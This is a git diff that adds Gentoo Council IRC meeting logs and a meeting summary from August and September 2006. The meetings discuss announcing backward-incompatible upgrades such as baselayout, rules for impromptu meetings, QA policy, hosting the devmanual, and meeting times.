+19:31 < Stuart> agriffis: at that point, it's a bit late perhaps :)
+19:31 <@agriffis> Stuart: no, because at that point, it's still perfectly possible to back the version down
+19:32 < kloeri> Stuart: arch teams had been testing it for quite a while - using it to build the new release etc.
+19:32 < Stuart> kloeri: again, this isn't about the quality of baselayout-1.12
+19:32 <@solar> Koon: I'm saying as long as the box comes back up on the same interfaces as you rebooted it with. I'm not seeing any reason to try and force yet another policy.
+19:32 <@Koon> kloeri: it's not a question of stable, it's a question of upgrade
+19:32 < kloeri> Stuart: but no (reasonable) amount is going to catch all problems unfortunately
+19:32 < Stuart> kloeri: it's about providing folks with a bit more help than just some code dumped on their harddrive :)
+19:32 < kloeri> Koon: yeah, but people have been testing upgrades too
+19:33 < Stuart> agriffis: mmm ... how well do we test downgrading baselayout upgrades?
+19:33 <@agriffis> Stuart: I've done it plenty
+19:33 < Stuart> agriffis: cool
+19:33 < kloeri> it's not that I'm against upgrade guides or anything, I'm just saying that the new baselayout saw quite a bit of testing before being stabled
+19:33 <@agriffis> though I won't claim I make a practice of testing each possible downgrade path :-b
+19:33 <@Koon> Stuart: how about this rule : any non-trivial upgardes should be announced (with GLEP42 when available, on -dev in the meantime)
+19:34 < Stuart> Koon: I'd be very happy w/ that
+19:34 <@Koon> again, that's common sense but better write it down
+19:34 <@solar> who defines non trivial?
+19:34 < Stuart> Koon: not that common, or else at least one of the folks involved in this stabilisation would have done it :)
+19:34 <@Koon> non-trivial = you can't keep your config files the way they are
+19:35 < Stuart> Koon: that's a good definition
+19:35 <@solar> thats going to upset gregkh
+19:35 < Stuart> solar: greg makes a living upsetting folks. he'll cope
+19:36 <@Koon> so you have to announce it when you break forward-compat
+19:36 <@agriffis> greg doesn't cope, he fights back, and in the gentoo case, he'd probably just quit
+19:36 <@Koon> solar: gregkh ? on udev ?
+19:36 < Stuart> he'd quit over being asked to keep users informed when things aren't b-c anymore?
+19:36 <@solar> Stuart: tbh.. To me it really sounds like 42 will cover this. and it was simply a matter of really what he said. not enough freetime and or he saw it as trivial.
+19:37 <@solar> I'd really not like to try and enforce this. But just encourage others to try to be more careful
+19:37 <@Koon> solar: the thing is no rule forces you to announce anything, GLEP42 or not
+19:37 < Stuart> solar: 42 is just an outlet. no-one is required to use it
+19:38 <@agriffis> Stuart: I don't know what gregkh would do, I have no idea how attached he is to Gentoo.  However announcing every udev b-c breakage is *way* harder than the existing process of simply bumping it.
+19:38 <@agriffis> That's a good example, really, because it suggests to me that the *rule* of informing when b-c breaks might be too much.
+19:39 <@Koon> I think that's the minimum that is due to the users
+19:39 <@agriffis> I'm all about making devel easier, it's nearly the only thing I care about in the context of Gentoo.
+19:40 < Stuart> there has to be a balance
+19:40 <@Koon> anyway, the best is probably to GLEP the rule as I spelled it, throw it to gentoo-dev and see it go down in flames or survive the test
+19:40 <@agriffis> I can see it as a rule of thumb, but not something I'd like to see enforced by anything other than shaming of devs that break systems by not informing.
+19:40 <@agriffis> i.e. by not providing instructions/guide/etc.
+19:41 < Stuart> agriffis: and if that doesn't work?
+19:41 <@Koon> agriffis: there is no way to enforce it anyway
+19:41 <@Koon> except call devrel in for repeated "errors"
+19:42 -!- jokey [n=jokey@gentoo/developer/jokey] has quit [Connection timed out]
+19:42 <@agriffis> Koon: sure there is.  we've seen devs ejected because we set up rules, then had to enforce them, where "we" is gentoo not necessarily the council.
+19:42 <@agriffis> Any time you make a rule you have to think about enforcement, somebody's going to file a bug and want you to enforce it eventually.
+19:42 <@Koon> I still think announcing b-c breaks to the users is a minimum
+19:43 <@agriffis> I dunno, maybe this is a *good* one for that, but I'm just slow to make rules. :-)
+19:43 <@Koon> but maybe nobody is with me and Stuart on this one :)
+19:43 <@agriffis> Koon: for what set of packages?
+19:43 <@Koon> I'd say "all" in stable
+19:44 <@Koon> it's not that common
+19:44 <@agriffis> ok, and what consitutes "announcing"?
+19:44 <@SwifT> damnid... guys, I need to go, some incident at work
+19:44 <@Koon> use GLEP42-system when available, use -dev in the meantime
+19:44 <@solar> my fear is that you put such a rule in place.. Then you have a dev that has not upgraded in many moons. He forgets to etc-update; reboots and his services dont all start.. users start calling him. he starts screaming cuz he did not get a upgrade guide.
+19:44 <@Koon> SwifT: that's not a good way to end your Council term :P
+19:45 < Stuart> agriffis: a minimal "we're releasing blah on set date; it breaks your system; go here to read what to do about it"
+19:45 < Stuart> solar: said dev'd quickly get his ass handed back to him for wasting folks time, I'd hope
+19:45 <@Koon> This should definitely be discussed on -dev as a GLEP rather than here
+19:46 <@solar> Stuart: sorry but I feel like this is what has happened here.
+19:46 -!- kallamej [n=kallamej@gentoo/developer/kallamej] has joined #gentoo-council
+19:46 < Stuart> solar: ??
+19:46 <@Koon> and the next council can adopt it with everything balanced
+19:46 < Stuart> Koon: that sounds sensible to me
+19:47 <@solar> Stuart: cuz the upgrade was rather painless tbh. Nothing to major broke. All boxes I've rebooted came back up on the same IP's and all services started.
+19:47 <@solar> imap is the only thing I really am aware of.
+19:47 < kloeri> personally I think it's going to be very hard to define any reasonable rules for this
+19:48 <@Koon> solar: the point is nothing prevents a larger break to occur
+19:48 <@solar> Can you point at some bugs as reference
+19:48 <@solar> Koon: yeah I know nothing prevents it.
+19:48 < genstef> solar: there is a tracker bug
+19:48 < kloeri> one of the problems with the baselayout upgrade afaik was related to the GATEWAY variable - and that's been deprecated for more than a year now
+19:48 < Stuart> solar: I keep saying that it's not about the quality of the code
+19:48 < kloeri> so how far back should upgrade guides go?
+19:48 <@Koon> solar: and there is no rule/advice on how to handle b-c breaks in Gentoo
+19:48 < genstef> solar: http://bugs.gentoo.org/143988
+19:49 < kloeri> we don't have any formal ideas about which versions we still support
+19:49 < Stuart> kloeri: I'm happy w/ upgrade guides only going back as little as possible
+19:49 <@agriffis> so here's a question... is a guide needed, or does a warning suffice?  "Warning: This upgrade contains config changes that are not backward compatible.  Be careful when etc-updating!"
+19:50 <@agriffis> Is it an announcement that's needed, or a guide?
+19:50 <@Koon> agriffis: to me, an announcement
+19:50 < Stuart> agriffis: in general, folks like apache, php, gcc, X and java have tended to post guides as well as warnings
+19:50 < genstef> agriffis: it would be nice if we had an announcement on -dev one day before
+19:51 <@Koon> when the announcement is posted, someone else can write up a guide if he wants to
+19:51 < genstef> agriffis: like I will be marking baselayout stable, any blockers?
+19:51 <@agriffis> I'm not suggesting to drop guides, I think they're *great* and I've made use of them before, but I'm wondering what's the lower limit that a dev could provide to fulfill due diligence.
+19:51 < Stuart> agriffis: for stuff that's gentoo-specific, if we don't provide a guide, where is a user going to get the information from? :)
+19:51 <@solar> agriffis: einfo/elog seems ok to me
+19:52 <@Koon> agriffis: the rule can be to announce it. If the discussion that ensues shows the need to have a guide, then someone can step up and write it, but the rule doesn't require it
+19:52 <@agriffis> Stuart: baselayout has net.example which is kept religiously up to date.  A diff, given by etc-update or dispatch-conf, shows clearly what has changed.  So a warning to Be Careful in that case would seem to be sufficient, that is to fulfill bare miminum requirements.
+19:52 < Stuart> solar: something that folks can read before upgrading would be useful, if there's any prep required (like having some free time to rewrite the config files)
+19:53 <@agriffis> Koon: so if the discussion decides that a guide is needed, and the dev who is not *writing* a package but only maintaining the ebuild is not able to provide the guide, and nobody steps up to write one, then a warning about b-c breakage would suffice?
+19:53 <@agriffis> I'm sorry, I'm not wanting to split hairs here, or drive anybody crazy...
+19:53 <@Koon> agriffis: for me, yes. But I won't be the one that will vote the GLEP when it will be written anyway
+19:54 < Stuart> agriffis: why wouldn't the dev be able to provide the guide?
+19:54  * Stuart is suffering packet loss atm :(
+19:54 <@Koon> Stuart: he can, but he doesn't have to
+19:54 <@agriffis> I'm trying to understand how to keep things super-easy for devs in the minimal case, so that nothing gets clogged by the introduction of new requirements.
+19:54 <@agriffis> Stuart: time, desire, etc.
+19:54 <@Koon> Stuart: the mimimum enforced is the announcement
+19:54 <@solar> From that tracker only 143914 seems like it could cause an admin from not being able to log inyto a remote host
+19:55 < genstef> agriffis: well, if the punishment is a "hall of shame" in the GWN then I think that can be made a requirement, yes
+19:55 <@agriffis> I think udev is a fantastic example.  There's no (gentoo-specific) upgrade guide, I don't want to require greg to start providing one, or make him wait for another dev to write one.
+19:55 <@Koon> Stuart: but once again, this should be GLEPped, and our advice is worth almost nothing since we won't be voting it, this is our last meeting
+19:55 <@agriffis> Btw, there is a very good Gentoo udev guide, I'm not talking about that.  I'm referring to udev changes between version stabilization.
+19:56 < Stuart> does greg maintain a non-gentoo-specific upgrade guide?
+19:57 <@agriffis> Stuart: sorry, I left that open because I don't know
+19:57 < genstef> Stuart: greg deo snot maintain udev upstream, kay sievers does that
+19:57 <@agriffis> deo snot, eh? ;-)
+19:57 < genstef> Stuart: in fact udev in gentoo is often not up to date because greg has not much time
+19:58 < Stuart> I'd be happy w/ just announcements for now, and see how it goes
+19:58 <@solar> Stuart: pre install would be unneeded in most cases. etc-update and having the instructions/examples in/around the # $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/council/meeting-logs/20060817.txt,v 1.1 2006/09/12 22:38:05 kloeri Exp $ comments should be fine.
+19:59 <@solar> I have to leave. I think I have about the same view point as agriffis here. einfo/elog preinst if needed. I'd go for suggesting people just try to do a better job next time vs shoving another rule down peoples throats.
+20:00 < Stuart> solar: I couldn't agree w/ you less wrt etc-update being good enough
+20:00 <@Koon> OK, let's end the meeting then, this should be GLEped and discussed on -dev anyway
+20:00 <@agriffis> well, I think at least this discussion has provided a good starting point for any discussion on -dev.
+20:00 <@solar> I'm rejected it now
+20:00 <@solar> n/m a glep.
+20:00 <@Koon> thanks everyone for this year, it was great to work with you all guys
+20:01 <@Koon> and good luck to the next Council
+20:01  * kloeri waves goodbye to the old council :)
+20:01 <@solar> you guys try to be on baselayout and see how little gets done with this rule
+20:01 <@solar> base-system rather
+20:01 < Stuart> solar: having a QA guy complain about being asked to tell folks when stuff breaks ... that doesn't look very good :)
+20:02 <@Koon> Stuart: solar has many personalities
+20:02 < Stuart> anyway, appreciate you all discussing this at short notice
+20:02 <@agriffis> Hey guys, I had a good time on Council this year.  It's been a fun team through some ups and downs.  Thank you.
+20:02 < Stuart> and waiting for my hard drive to finish fsck'ing :)
+20:03 <@solar> Stuart: I understand that breakage sucks really bad. I'm just saying putting a rule into place for everything everytime something goes a little left is not ideal for such a organic distro
+20:03 <@agriffis> Koon: will you be posting the minutes and log?
+20:03 <@solar> we should focus on improving common sense vs alot of rules. thats all
+20:03 <@Koon> agriffis: no, I don't have the log
+20:04 <@agriffis> ok, I have it
+20:04 <@agriffis> I can post it and the meeting summary if that's okay with everybody.
+20:04 < genstef> http://genstef.homelinux.org/gentoo-council.08-17.log
+20:05 < Stuart> solar: I agree with the sentiment, but the reality is a little different
+20:05 <@solar> Stuart: I just want gentoo to remain fun.
+20:05 < genstef> Stuart: how would you enforce such a rule, btw?
+20:05 < Stuart> solar: so do I.  but we have to have fun responsibly
+20:06 < Stuart> genstef: ideally, the arch teams should enforce it, because they stabilise packages, not package maintainers
+20:06 <@solar> Stuart: I think you should just try to encourage people to be a little more aware. If it becomes a major problem over time then revisit.
+20:07 < Stuart> solar: I'd rather take a little step now, and avoid there ever being a major problem
+20:07 <@solar> well I just hope the next council decides to not try and enforce such a thing.
+20:08 <@solar> cuz it sounds like a bunch of nofun.
+20:08 < genstef> do we have a stabilization guide? Maybe just add a line "when it is an important update, please inform users before marking it stable"
+20:09 <@solar> it passed the QA tests of every arch team.
+20:10 <@solar> genstef: sure. notice the wording on that. "please"
+20:10 <@solar> which differs from required. Don't get me wrong. I'm not saying it's ok to break things left and right.
+20:11 <@solar> things just change. Sometimes in unforseen ways that are unknown at the time of the stable marking.
+20:12 < Stuart> solar: and that's fair enough
+20:12 <@solar> k now I gotta split. Have fun guys.. And please keep gentoo fun for everybody :)
+20:12 < Stuart> cya solar
+20:15 -!- Koon [n=koon@gentoo/developer/Koon] has quit ["have fun"]
+20:15 -!- Stuart [n=stuart@gentoo/developer/Stuart] has left #gentoo-council []
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060914-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060914-summary.txt
new file mode 100644
index 00000000..7e47fc0a
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060914-summary.txt
@@ -0,0 +1,30 @@
+First, we voted if we should allow "impromptu" meetings, outside of the
+monthly schedule.  This passed with 6/7 votes, with vapier abstaining
+due to tardiness.  The consensus on the meetings is as follows:
+
+We will allow meetings outside of the schedule on time sensitive issues.
+The meeting needs more than 5 council members, and it should be done
+with no less than 3 days notice, unless the council unanimously decides
+to hold it sooner.
+
+Next were concerns brought about from the QA team.  We decided (6/7,
+vapier abstaining) that the QA team should work with other concerned
+parties to determine the requirements for moving the devmanual SVN to
+Gentoo infrastructure, since it is considered an official Gentoo
+product, before any further decision on it can be made.  It was also
+decided that the QA team should work on their own policies, with input
+from other teams, for approval by the council.  The council volunteered
+to assist in coordination, if necessary.
+
+Next, we decided to push the monthly meetings to 2000UTC on the second
+Thursday of the month to better suit the new council's availability.
+
+During the open floor, we decided that there was no need to mention
+conflicts for most council members, as we should all be adults and
+capable of making unbiased decisions.  The exception to this (being
+adults... just kidding...) was kloeri in response to escalations from
+devrel, as he is the lead there.  This also lead to roll-call being
+updated to show everyone's current roles, so transparency is maintained.
+
+After some minor discussion about USians not knowing their own country
+code (*grin*) we adjourned.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060914.txt b/xml/htdocs/proj/en/council/meeting-logs/20060914.txt
new file mode 100644
index 00000000..b675645b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060914.txt
@@ -0,0 +1,520 @@
+[19:05] *** You set the channel mode to 'moderated'.
+[19:05] <Flameeyes> i suppose the timing decision can wait till vapier comes (if he's just late)
+[19:05] <Kugelfang> there we got
+[19:05] <Kugelfang> -t
+[19:06] <Flameeyes> especially as he seems to need to change that :)
+[19:06] <wolf31o2|mobile> yeah, we can hold that one off until near the end
+[19:06] <-- GurliOnTheRoad has left this server (Read error: 60 (Operation timed out)).
+[19:06] <kingtaco|laptop> or just email it
+[19:06] <Kugelfang> heh
+[19:06] <kingtaco|laptop> should be a no brainer
+[19:06] <kingtaco|laptop> anywho
+[19:06] <wolf31o2|mobile> true... we don't need that to be done during the official meeting, really
+[19:07] <Flameeyes> so we can either start with antarus|work's topic or with wolf31o2|mobile's, which one first?
+[19:07] <Kugelfang> wolf
+[19:07] --> ChrisWhite|Work has joined this channel (n=chris@gentoo/developer/ChrisWhite).
+[19:07] <Flameeyes> ack wolf for me too
+[19:07] <kingtaco|laptop> do it
+[19:07] <Kugelfang> wolf31o2|mobile: you have the floor
+[19:08] <wolf31o2|mobile> err... well, there's probably two different questions... the first is; can the council make a decision without it being put on an agenda and have to wait for the monthly meeting?
+[19:09] <kingtaco|laptop> that's why I suggested a 2nd meeting if there was something to discuss
+[19:09] <Kugelfang> i say yes, while this decision should be only intermediate until a proper meeting takes place
+[19:09] <kloeri> I'd say yes as long as we use some common sense, eg. don't rush GLEPs through without prior discussion
+[19:09] <Flameeyes> i'd say yes, for urgent matters or non-controversial decisions
+[19:10] <wolf31o2|mobile> ok... so what is considered an urgent matter?
+[19:10] <Kugelfang> that's up to us :-)
+[19:11] <Flameeyes> decisions that has to be discussed upon asap or they might "fly away"... probably depends on what the issue is
+[19:11] <wolf31o2|mobile> heh... I'd be fine with that
+[19:11] <kloeri> ditto
+[19:12] <wolf31o2|mobile> ok... so we allow "impromptu" meetings, at our own request, to discuss possible time-sensitive issues?
+[19:12] <Flameeyes> kingtaco|laptop, robbat2?
+[19:12] <kingtaco|laptop> sure
+[19:12] <Kugelfang> vote with yes or no
+[19:12] <Kugelfang> yes
+[19:12] <kloeri> yes
+[19:12] <Flameeyes> yes
+[19:12] <kingtaco|laptop> yes
+[19:12] <robbat2> yes, common sense to delay things that have unanswered issues still, but be more flexible in allowing
+[19:12] <wolf31o2|mobile> yes
+[19:12] <Kugelfang> 6 of 7, vapier is late, this one passed
+[19:12] <wolf31o2|mobile> ok... and how many should we require present to have one of these meetings?
+[19:13] <Kugelfang> 5
+[19:13] <wolf31o2|mobile> 4+? 5?
+[19:13] <Flameeyes> Kugelfang, which one passed? both or just the first?
+[19:13] <Kugelfang> more than the half and an odd number
+[19:13] <Flameeyes> 5
+[19:13] <kingtaco|laptop> 5+
+[19:13] <robbat2> 5+
+[19:13] <wolf31o2|mobile> agreed
+[19:13] <Kugelfang> Flameeyes: the first one
+[19:13] <-- GurliGebis has left this server (No route to host).
+[19:13] <Flameeyes> what about the slacker rule for such meetings?
+[19:13] <kloeri> 5+ sounds good
+[19:13] <Kugelfang> i think we have consense of 5 council members
+[19:13] <Flameeyes> should it still rule?
+[19:13] <Kugelfang> Flameeyes: applies only to regular meetings
+[19:13] <kingtaco|laptop> I don't think so
+[19:14] <Flameeyes> Kugelfang, agreed
+[19:14] <kloeri> no, regular meetings only imo
+[19:14] <wolf31o2|mobile> I don't think the slacker rule shoudl count, since it is impromptu, and we don't allow the meeting if we have below the proper threshol
+[19:14] <wolf31o2|mobile> +d
+[19:14] <Flameeyes> so even the second one passed
+[19:14] <Kugelfang> robbat2?
+[19:14] <kingtaco|laptop> how much notice for one of these meetings?
+[19:14] <kingtaco|laptop> 7days?
+[19:14] <kingtaco|laptop> list 2 possible times?
+[19:15] <robbat2> no slacker rule, because we do need time to get ourselves
+[19:15] <wolf31o2|mobile> I would think "impromptu" means it should be possible on the spur of the moment
+[19:15] <Kugelfang> let's say more than 5 days
+[19:15] <Kugelfang> means: we can say on monday "We'll discuss it" and act on firday
+[19:15] <Flameeyes> i'd say the time needed, after all if it's "on the fly", we might need it now
+[19:15] <Kugelfang> friday... i think that's a good rule of thumb...
+[19:15] <Kugelfang> Flameeyes: you mean: no limit at all?
+[19:15] <robbat2> 3 days, or as long as every council member (all 7 of us) agree we need to meet on it immediately
+[19:16] <kingtaco|laptop> that works
+[19:16] <wolf31o2|mobile> sure
+[19:16] <Flameeyes> i like robbat2's solution
+[19:16] <Kugelfang> i like robbat2's proposal
+[19:16] <Kugelfang> heh
+[19:16] <robbat2> 3 days gives us space for the 5+ people, but if it's really urgent, people will find a way to get us
+[19:16] --> dostrow has joined this channel (n=dostrow@gentoo/developer/dostrow).
+[19:17] <wolf31o2|mobile> so... allow meetings outside of the schedule on time sensitive issues, the meeting needs more than 5 members, and it should be done with no less than 3 days notice, unless the council unanimously decides to hold it sooner?
+[19:17] <Kugelfang> yes
+[19:17] <robbat2> yes
+[19:17] <wolf31o2|mobile> (that should cover everything)
+[19:17] <Flameeyes> at least 5 members
+[19:17] <wolf31o2|mobile> yes
+[19:17] <Flameeyes> (>= rather than >)
+[19:17] <wolf31o2|mobile> it says that
+[19:18] <Flameeyes> and yes on that anyway
+[19:18] <wolf31o2|mobile> err... ok
+[19:18] <robbat2> good point Flameeyes
+[19:18] <wolf31o2|mobile> 5+
+[19:18] <wolf31o2|mobile> heh
+[19:18] <Kugelfang> yes
+[19:18] <kingtaco|laptop> yes
+[19:18] <Flameeyes> kloeri, wolf31o2|mobile?
+[19:19] <wolf31o2|mobile> <wolf31o2|mobile> yes
+[19:19] <Kugelfang> wolf31o2|mobile said yes already
+[19:19] <Flameeyes> okay, so kloeri?
+[19:19] <Kugelfang> kloeri honey, we're waiting
+[19:19] <kloeri> sounds good
+[19:19] <Kugelfang> excellent
+[19:20] <Kugelfang> i think this point is done then, isn't it?
+[19:20] <Flameeyes> i'd say so
+[19:20] <robbat2> yup
+[19:20] *** You give antarus|work the permission to talk.
+[19:20] <Kugelfang> i still wonder where vapier is
+[19:20] <Flameeyes> antarus|work, are you here?
+[19:20] <robbat2> unless wolf31o2 wanted to say more about the possible 4th thursday
+[19:20] <kingtaco|laptop> we'll do this instead
+[19:21] <kingtaco|laptop> works better
+[19:21] <wolf31o2|mobile> yeah... doesn't restrict us to a time
+[19:21] <robbat2> ok
+[19:21] <wolf31o2|mobile> so we can be like "hey, friday at 5:30 works for me"
+[19:22] <Flameeyes> strange tho that mike is this late
+[19:22] <Flameeyes> kingtaco|laptop, not you :P
+[19:22] <Kugelfang> does anybody have his cell phone number?
+[19:22] <Kugelfang> oh, that reminds me, shall we exchange contact information via the alias?
+[19:23] <robbat2> yes
+[19:23] <Flameeyes> i suppose that's good
+[19:23] <Kugelfang> robbat2: yes to what?
+[19:23] <robbat2> yes to contact info
+[19:23] <Kugelfang> good, let's do it right after the meetings :-)
+[19:23] <Kugelfang> -s
+[19:23] <Kugelfang> shall we proceed with antarus then?
+[19:23] <wolf31o2|mobile> did Mike get a new cell phone? last I knew (LWE) his was somewhere in a gutter in Shanghai
+[19:24] <wolf31o2|mobile> let's
+[19:24] <Flameeyes> wolf31o2|mobile, ouch, that's bad
+[19:24] <Kugelfang> antarus|work: you have have the floor
+[19:25] * kloeri pokes antarus|work 
+[19:25] <antarus|work> er
+[19:25] <antarus|work> sorry
+[19:25] * antarus|work is back!
+[19:26] <Kugelfang> sure, just give us some beer and we'll forget about it :-P
+[19:27] <Flameeyes> or just talk, that works too
+[19:27] <antarus|work> Quiet you :p
+[19:27] <antarus|work> Moreso I think the current QA policy doesn't work completely
+[19:28] <kingtaco|laptop> explain
+[19:28] <antarus|work> The current policy seems rather vague in areas; to both users and developers
+[19:29] <Kugelfang> which areas
+[19:29] <antarus|work> things like having packages build properly; releng will tell you that it should build properly with default USE flags; Ciaran will tell you it should build properly with the ebuild choosing sane flag defaults
+[19:30] <Kugelfang> well, both sounds sane to me, we gotta find a way in the middle here
+[19:30] <antarus|work> At least for me; the QA team should not be the guys who fix stuff; the team is too small and the amount of work too large.
+[19:30] <wolf31o2|mobile> well, I'd say that both should be true... ;]
+[19:30] * antarus|work doesn't expect the council to come up with new policy ;)
+[19:31] <Kugelfang> antarus|work: i think we should expand the QA team then
+[19:31] <antarus|work> Kugelfang: How?
+[19:31] <Flameeyes> i think one of the point should be that no qa should be enforced unless the policy is properly agreed upon
+[19:31] * antarus|work would rather have QA policy that is followed; then qa that is ignored
+[19:31] <Kugelfang> antarus|work: get people to search for QAcanfix keyword and fix it
+[19:32] <antarus|work> Kugelfang: eh, and if that doesn't work?
+[19:32] <kingtaco|laptop> why don't you revise/rewrite the policy to resolve these problems you see and then we can look at that?
+[19:32] <wolf31o2|mobile> agreed... I think we need a policy to look at and agree to... we can still discuss, to help brainstorm some ideas, btu we can't really decide on a concept so much
+[19:33] <wolf31o2|mobile> I mean, we'll all agree "we need good qa"
+[19:33] <Flameeyes> agreed, we should have a policy to look at before decide on most of the matters there, or we're not making a point
+[19:33] <antarus|work> wolf31o2|mobile: are you willing to sacrifice people for it?
+[19:33] <kloeri> wolf31o2|mobile: right
+[19:33] <Flameeyes> eh, what wolf31o2|mobile said basically
+[19:33] <wolf31o2|mobile> antarus|work: sacrifice, meaning?
+[19:34] <Kugelfang> antarus|work: you mean like: remove persistent offenders, or at least suspend them?
+[19:34] <wolf31o2|mobile> if you mean have disciplinary action taken against repeated offenders, then absolutely... but that's not our job, perse
+[19:34] <antarus|work> Kugelfang: yes
+[19:34] <wolf31o2|mobile> but I would definitely back that action being taken
+[19:34] <Kugelfang> antarus|work: write it up. i'm not against it per se
+[19:34] <Flameeyes> agreed
+[19:35] <antarus|work> wolf31o2|mobile: I think moreso the thought is 'I can break QA and essentially have no reprecussions"
+[19:35] <kloeri> devrel would be happy to suspend or kick off repeat offenders based on proper complaints from qa
+[19:35] <antarus|work> which is obviously a problem
+[19:35] <wolf31o2|mobile> right
+[19:35] <Flameeyes> antarus|work, i think the problem is we don't have an *official* policy
+[19:35] <Kugelfang> Flameeyes: actually, we have, GLEP 39 iirc
+[19:35] * antarus|work notes having a half-dead qa team for large amounts of time
+[19:35] <kloeri> antarus|work: document the offences and complain to devrel after you warned the offender
+[19:35] <antarus|work> Kugelfang: 48 you mean?
+[19:35] <robbat2> i'm not sure that suspend/kick directly is the right solution - re-education first
+[19:36] <Flameeyes> Kugelfang, no i mean, there are still obsure points
+[19:36] <antarus|work> robbat2: I would agree; can't be too hasty ;)
+[19:36] <Kugelfang> antarus|work: eh, yes
+[19:36] <Flameeyes> devmanual wasn't updated in its entirety and there are still debatable points
+[19:36] <Kugelfang> Flameeyes: devmanual was discusses on QA meeting, i attended there
+[19:36] <kloeri> robbat2: qa would need to warn etc. before filing a devrel complaint or I'll bounce it back
+[19:36] <Kugelfang> Flameeyes: the turnout was, unsatisfactory to say the least
+[19:37] <Flameeyes> Kugelfang, can you summarise?
+[19:37] <antarus|work> Flameeyes: I have the log..
+[19:37] <Kugelfang> spb just asked for voice
+[19:37] <Kugelfang> he can if you want
+[19:37] <antarus|work> Flameeyes: it's not pretty :P
+[19:37] <Flameeyes> antarus|work, that's why i asked a summary
+[19:37] *** You give spb the permission to talk.
+[19:37] *** kloeri gives spb the permission to talk.
+[19:38] <Kugelfang> uh, i have op here...... forgot competely :-P
+[19:38] <kloeri> Kugelfang: :)
+[19:38] <spb> the summary, in short terms and based on what i remember, goes something like this
+[19:38] <spb> first item devmanual. it's listed as a qa project yet qa has no access to it, we don't like this, but plasmaroo is resisting any change
+[19:39] <spb> then there was the lack of any properly documented qa policy, which we would like to fix
+[19:39] <Kugelfang> this has to be relevated: plasmaroo doesn'T want to give out SVN access to anybody.. he said he'd include patches as soon as he gets them
+[19:39] <antarus|work> relevated?
+[19:40] <Flameeyes> antarus|work, made notice of
+[19:40] <Kugelfang> plasmaroo is resisting any change
+[19:40] <Kugelfang> ^^^
+[19:40] <antarus|work> Flameeyes: thanks ;)
+[19:40] <spb> also the EAPI-0 spec / package manager standard / whatever you want to call it
+[19:40] <wolf31o2|mobile> what is required to move the devmanual to gentoo infrastructure? and has there been a problem getting patches accepted, so far? (in other words, has the current process proven broken)
+[19:41] <Kugelfang> wolf31o2|mobile: the SVN repo is on halcy0n.org
+[19:41] <Kugelfang> wolf31o2|mobile: it could easily be moved
+[19:41] <spb> wolf31o2|mobile: what's required is an svn repo and someone having access to whichever box hosts devmanual.g.o to pull updates from svn manually
+[19:41] <Kugelfang> i think that can be automated
+[19:41] <spb> at the moment the svn is external and only one person has the latter
+[19:41] <wolf31o2|mobile> it would need to be...
+[19:41] <wolf31o2|mobile> and what about my second question?
+[19:42] <antarus|work> wolf31o2|mobile: No one has submitted actual patches; as far as I'm aware
+[19:42] <Kugelfang> answer is no
+[19:42] <Flameeyes> i think wolf's second question is the important one here
+[19:42] <spb> there's a bug open with some needed changes; it had no response until he was asked in the qa meeting yesterday why that was, at which point he said he was waiting for patches
+[19:42] <spb> which is fine as long as he says he's waiting for patches
+[19:42] * antarus|work nods
+[19:42] <wolf31o2|mobile> ok
+[19:43] <antarus|work> communication was a bit slow there
+[19:43] <wolf31o2|mobile> so now we all know
+[19:43] <wolf31o2|mobile> =]
+[19:43] <spb> we do
+[19:43] <spb> what exactly it is that we know is left as an exercise for the reader
+[19:43] <antarus|work> I guess my last question is; is there a better way to create policy besides doing it internally to QA
+[19:43] <Kugelfang> i can understand that plasmaroo doesn't want every dev to have commit access, on the other hand i think that the Gentoo devmanual should be in Gentoo SVN
+[19:43] <kloeri> there's another problem of backups that nobody have addressed afaik (which would point towards hosting it on gentoo svn)
+[19:44] <spb> my assumption there is that qa drafts something and sends it to $other_party for review
+[19:44] <Flameeyes> i think we shouldn't really try to force anything until it's proven broken, to use wolf's words
+[19:44] <antarus|work> Flameeyes: I was thinking moreso; of making some kind of sub-project
+[19:44] <robbat2> Kugelfang, on Gentoo SVN/CVS we do offer access restrictions if desired
+[19:44] <antarus|work> where we invite people interested in forming poicy
+[19:44] <wolf31o2|mobile> your second point... the qa policy... I think we all agree that we'd like to see one hammered down... what do you need for that to happen?
+[19:44] <Kugelfang> robbat2: i know, i use them for eselect :-P
+[19:44] <antarus|work> maybe thats just too gay
+[19:44] <antarus|work> I dunno :p
+[19:45] * antarus|work spices up the council logs
+[19:45] <Flameeyes> antarus|work, you mean people not involved in the qa project itself?
+[19:45] <antarus|work> Flameeyes: yes
+[19:45] <Flameeyes> separating legislative from executive, basically
+[19:45] <Kugelfang> antarus|work: well, as was already said: come up with a proposal and council can discuss
+[19:46] <antarus|work> Flameeyes: Yeah, basically ;)
+[19:46] <Flameeyes> agreed, we need something to look at to decide, we can only think of the concept this way
+[19:46] <spb> wolf31o2|mobile: for QA policy i suspect just time and the right people
+[19:46] <wolf31o2|mobile> actually... let's do this... for issue #1, the devmanual, there's not been anything shown to be necessarily broken, but points were brought up why moving it to gentoo infrastructure would be desirable... I say we defer on any decision regarding this until a plan has been put in place for migration, as well as any requirements from/for infra... as in, scripts to automate pulls from SVN and access restrictions that need to be p
+[19:46] <wolf31o2|mobile> laced... agreed?
+[19:47] <robbat2> yes
+[19:47] <Flameeyes> yes
+[19:47] * antarus|work was hoping to avoid the devmanual entirely in this meeting ;P
+[19:47] <Kugelfang> yes
+[19:47] <wolf31o2|mobile> yes
+[19:47] <wolf31o2|mobile> heh
+[19:47] <kloeri> yes
+[19:47] <Kugelfang> kloeri: ?
+[19:47] <Kugelfang> kingtaco|laptop: ?
+[19:47] <Kugelfang> kloeri: sorry
+[19:47] <Kugelfang> :-)
+[19:49] <kingtaco|laptop> what are we voting on?
+[19:49] <kingtaco|laptop> that qa needs to be defined?
+[19:49] <Kugelfang> 19:46 <@wolf31o2|mobile> actually... let's do this... for issue #1, the devmanual, there's not been anything shown to be necessarily broken, but points were brought up why moving it to gentoo infrastructure would be desirable... I say we defer on any decision regarding this until a plan has been put in place for
+[19:49] <Kugelfang> migration, as well as ny requirements from/for infra... as in, scripts to automate pull s from SVN and access restrictions that need to be p
+[19:49] --> iluxa has joined this channel (n=anonymou@gentoo/developer/iluxa).
+[19:49] <kingtaco|laptop> yes
